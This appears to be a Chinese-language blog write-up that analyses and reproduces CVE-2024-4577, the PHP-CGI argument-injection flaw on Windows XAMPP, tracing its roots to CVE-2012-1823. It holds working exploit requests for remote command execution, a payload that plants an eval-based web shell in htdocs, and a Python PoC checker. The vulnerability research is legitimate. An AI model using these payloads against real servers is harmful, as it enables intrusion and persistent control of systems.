CVE-2024-4577 分析与复现

0x01 CVE-2024-4577 的前世今生

Orange Tsai 在 X (https://x.com/orange_8361/status/1798919363376066781)上发布了此前发现的漏洞被 PHP 官方修复,该漏洞被命名为 CVE-2024-4577,默认将影响 XAMPP。

XAMPP 可以帮助用户快速搭建集成开发环境,安装 Apache、MySQL、Tomcat 等。

image-20240630093004801

CVE-2012-1823

CVE-2024-4577 最早可以追溯到 CVE-2012-1823,因此在了解该漏洞之前,先看看 CVE-2012-1823 的漏洞成因。

CVE-2012-1823 是 php-cgi 中出现的漏洞,php-cgi 是一个 SAPI(服务器应用程序编程接口),它是服务器和程序之间的一种契约,完成数据交换。例如 mod_php 就是 PHP 与 Apache 之间连接的桥梁。

img

在PHP中,通常有三种主流的SAPI实现方式:

  • PHP-FPM:这是一种 FastCGI 协议的解析器,它的主要任务是接收来自 Web 服务器,按照 FastCGI 协议格式封装的请求数据,并将其传递给 PHP 解释器进行处理。

  • mod_php:这是 Apache 服务器的一个模块,专门用于处理 PHP 和 Apache 之间的数据交换工作。

  • PHP-CGI:它具备两种模式的交互能力,既可以作为 CGI 程序运行,也可以作为 FastCGI 服务运行。

image-20240630101356505

而漏洞产生的原因就是用户传入的内容,被 php-cgi 当做参数执行。

简单来说就是,RFC3875中规定,当 querystring 中缺少没有解码的=号的情况下,要将整个 querystring 作为 cgi 的参数传入。如果 URL 中的查询字符串部分省略了等号,它将未经适当处理就被传递给 php-cgi。

其中 cgi 下有以下参数可能被利用。

  • -c 指定 php.ini 文件的位置
  • -n 不要加载 php.ini 文件
  • -d 指定配置项
  • -b 启动 fastcgi 进程
  • -s 显示文件源码
  • -T 执行指定次该文件
1
http://example.com/cgi.php?-s

会被解析为-s参数查看cgi.php文件源码。而-d参数可以指定 auto_prepend_file 产生文件包含漏洞。

1
cgi.php -s

CVE-2012-2311

上述 CVE-2012-1823 出现后, PHP 进行了修复。*decoded_query_string 表示 decoded_query_string 字符串的第一个字符。这里使用了*运算符来获取字符串的第一个字符,然后将其与连字符 - 进行比较。如果第一个字符是 - 并且在整个解码后的 querystring 中没有找到等号 =,那么就设置 skip_getopt 为 1,表示应该跳过 getopt 的处理。

1
2
3
4
5
6
7
8
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}

但如果进行封装,通过使用空白符加-的方式,也能传入参数。这时候 querystring 的第一个字符就是空白符而不是-了。

1
2
#!/bin/sh
exec /usr/local/bin/php-cgi $*

于是继续进行修改,跳过空白符后再进行判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}

0x02 CVE-2024-4577 原理

Orange Tsai 利用了解析差异绕过了前面代码中对-符号的检查。

Best-Fit

Best-Fit 是一种 Windows 下的字符映射策略,用以解决源代码页中的字符在目标代码页中没有直接等价物时的问题。在将 Unicode 代码页中字符转换成非 Unicode 代码页字符时,如果无法找到对应的字符,就会按照 Best-Fit 预定义的一个转换表进行转换。

简而言之,Windows 下拥有一个 Best-Fit 用作字符映射,将特殊字符转换为一个正常字符。因此该漏洞影响范围只能是 Windows。

下面这张图就是 Best-Fit 其中的一张映射表,记住开头的编号936这是 Windows 简体中文语言环境下的映射表。

image-20240630111230286

罪魁祸首就是0x00ad,可以被转换为-

image-20240630111459866

Windows 在处理异常字符的时候使用了 Best-Fit,而它也帮助攻击者绕过了安全检测。

然而并不是所有的映射表中都存在上述的对应关系,只有在简体中文(字码页 936)、繁体中文 (字码页 950)、日文 (字码页 932)中才有这个-的转换。

官方对该漏洞的修复措施是添加对0x80以上所有的字符的检查。

On Windows we have to take into account the “best fit” mapping behaviour.

image-20240630112614797

利用场景

当前主要的利用场景有两个

CGI 模式运行的 PHP

非常的少见,不是默认的运行模式

1
2
AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"

还需要在 httpd-xampp.conf 中取消这段在 XMAPP 中默认的注释。

1
2
3
4
5
6
7
8
9
#
# PHP-CGI setup
#
<FilesMatch "\.php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>

配置完成后,Apache 就可以直接将对应的参数直接转发到 php-cgi 中。

这就是一开始看到的 PoC

1
%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input

就会被解析为

1
-d allow_url_include=on -d auto_prepend_file=php://input

PHP 程序暴露

这个场景是 XMAPP 的默认设置,在访问 php-cgi 的时候会映射C:/xampp/php/下的目录,这个目录恰好就是 PHP 的整个目录。

image-20240630114548548

下了一个环境在本地搭了一下,一路默认安装即可。

下载地址:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

打开就是这个样子

image-20240630115615998

直接访问会报 500 的错。

image-20240630115904832

可以查询对应的文件

https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912

image-20240630121146107

这段代码是 PHP 的 CGI 模式下的一个安全检查。它的作用是确保 PHP 以 CGI 模式运行时,只能通过 web 服务器重定向来访问,而不是直接通过 URL 访问 PHP CGI 可执行文件。这样可以防止一些潜在的安全风险,比如远程执行漏洞。

因此想要绕过限制必须满足下面条件之一

  1. REDIRECT_STATUS 环境变量必须被设置。这个变量通常在 Apache 服务器中使用,当通过 Action 指令或其他方式重定向请求到 PHP CGI 时,Apache 会自动设置这个变量。
  2. HTTP_REDIRECT_STATUS 环境变量必须被设置。这个变量可能由其他 web 服务器或某些特定的重定向模块设置。

顺便考古一下,cgi.force_redirect=1,开启了这个选项(默认开启)之后,只有经过重定向的规则请求才能执行,不能直接调用执行。

image-20240630120503590

第一个是根据前面的漏洞原理,修改 path

1
/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3d0

其实就是通过 php-cgi 设置-d cgi.force_redirect=0,就可以正常的访问。

image-20240630121532905

第二个方式是添加HTTP_REDIRECT_STATUS请求头,例如

1
REDIRECT-STATUS: 1

也可以正常访问。

image-20240630121809397

0x03 漏洞复现

这一部分很有意思,看了网上的一些 PoC 发现居然有很多错的…或者是没有添加REDIRECT-STATUScgi.force_redirect=0导致99%的情况下 PoC 都不可用,除非他自己把cgi.force_redirect打开了。

根据漏洞原理组成一个 PoC

1
2
3
4
5
6
7
8
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+cgi.force_redirect%3d0+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded

<?php
system('dir');
?>

path 在解码后利用 Best-Fit 将%ad转码为-,于是变成了下面这样。

1
-d allow_url_include=on -d cgi.force_redirect=0 -d auto_prepend_file=php://input 

GPT 解读如下

  • -d allow_url_include=on: 这个参数允许 include()require() 函数包含远程文件,即通过 URL 来包含文件内容。这通常被认为是一个安全风险,因为它可能导致远程代码执行漏洞。默认情况下,allow_url_include 是关闭的,出于安全原因,建议在生产环境中保持关闭状态。

  • -d cgi.force_redirect=0: 这个参数关闭了 PHP CGI 模式下的强制重定向功能。当强制重定向开启时(即 cgi.force_redirect=1),PHP 会检查特定的环境变量,如 REDIRECT_STATUS,以确保它是通过 web 服务器的重定向来访问的。关闭这个功能可能会导致直接通过 URL 访问 PHP CGI 可执行文件,这可能带来安全风险。

  • -d auto_prepend_file=php://input: 这个参数告诉 PHP 在处理每个请求之前自动包含指定的文件。php://input 是一个特殊的流,它允许读取原始的 POST 数据。这意味着在处理任何 PHP 脚本之前,PHP 会先读取 POST 数据,并将其作为脚本的一部分来执行。这通常用于某些框架或应用程序中,以便在脚本执行之前预置一些代码或变量。

成功执行了命令(添加 REDIRECT-STATUS 也是同理)

image-20240630123407690

如果想写入 shell,可以先查看一下当前的路径,这里是C:\xampp\php

image-20240630124527559

写 shell 的话,就需要写入到 htdocs 目录中。

image-20240630124614907

使用 file_put_contents 函数构造 payload

1
2
3
4
5
6
7
8
POST /php-cgi/php-cgi.exe?%add+error_reporting%3d0+%add+allow_url_include%3don+%add+cgi.force_redirect%3d0+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded

<?php
file_put_contents('..\htdocs\shell.php', '<?php eval($_POST["pass_shell"]);?>');
?>

image-20240630124802332

成功写入到 htdocs 目录

image-20240630124826273

成功连接

image-20240630124922553

以为到这就完事了…

周末公司搞了个 CVE-2024-4577 的靶场,我发现之前的 payload 用不了了,返回了 500 的状态码。

image-20240630130412466

查了一些资料发现,可能是由于 allow_url_include 在 php 7.4 被废弃的原因,导致响应的时候报错。但看了下靶场和本地环境的 XAMPP 和对应 PHP 版本的环境,发现版本均一致。

因此推测是 php.ini 中某些配置的原因,于是添加-d error_reporting=0规避返回的错误。

1
/php-cgi/php-cgi.exe?%add+error_reporting%3d0+%add+allow_url_include%3don+%add+cgi.force_redirect%3d0+%add+auto_prepend_file%3dphp%3a//input

就变成了这样

1
-d error_reporting=0 -d allow_url_include=on -d cgi.force_redirect=0 -d auto_prepend_file=php://input

也成功执行了命令

image-20240630130337100

为了找到之前配置差异,改一下命令。

1
system('type php.ini');

通过对比 php.ini 可以发现有一行配置存在差异(左靶场 右本地)

error_reporting=E_ALL代表 PHP 会报告所有的错误、警告和注意信息,包括废弃和严格模式警告。

error_reporting=E_ALL & ~E_DEPRECATED & ~E_STRICT启用所有的错误报告,但是同时排除废弃警告和严格模式警告。

image-20240629205321208

allow_url_include 在 php 7.4 被废弃,因此靶场中配置的error_reporting=E_ALL会报告包括废弃的警告信息,报错输出在头部,导致 Content-Type 头输出失败。而本地搭建的是error_reporting=E_ALL & ~E_DEPRECATED & ~E_STRICT则忽略了废弃的警告,因此本地搭建的环境不会抛出警告。

image-20240629205524557

0x04 总结

如果细心查看网上现有的 PoC 和一些开源仓库,很多都没有包含 cgi.force_redirect 或者请求头包含 REDIRECT-STATUS,这就导致大部分情况下都是不可用的。而绝大部分都没有包含 error_reporting=0,若 error_reporting=E_ALL 则会抛出 500 的错误导致漏报。

顺便写一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests


def get_url(host: str) -> tuple[str, str]:
path_cgi = "?%add+error_reporting%3d0+%add+allow_url_include%3don+%add+cgi.force_redirect%3d0+%add+auto_prepend_file%3dphp%3a//input"
path_exe = "/php-cgi/php-cgi.exe" + path_cgi
url_exe = host + path_exe
url_cgi = host + '/' + path_cgi
return url_exe, url_cgi


def check_vul(resp: requests.Response):
if resp.status_code == 200 and "3f2ba4ab3b260f4c2dc61a6fac7c3e8a" in resp.text:
return True


def poc(url_exe: str, url_cgi: str, cmd: str):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
}
resp_1 = requests.post(url=url_exe, headers=headers, data=cmd)
if check_vul(resp_1):
print(f"[+] CVE-2024-4577:{url_exe}")
else:
resp_2 = requests.post(url=url_cgi, headers=headers, data=cmd)
if check_vul(resp_2):
print(f"[+] CVE-2024-4577:{url_cgi}")
else:
print("未发现漏洞")


if __name__ == '__main__':
host = "http://127.0.0.1"
cmd = "<?php echo md5('CVE-2024-4577');?>"
url_exe, url_cgi = get_url(host)
poc(url_exe, url_cgi, cmd)

参考

https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html

https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html

https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt

https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912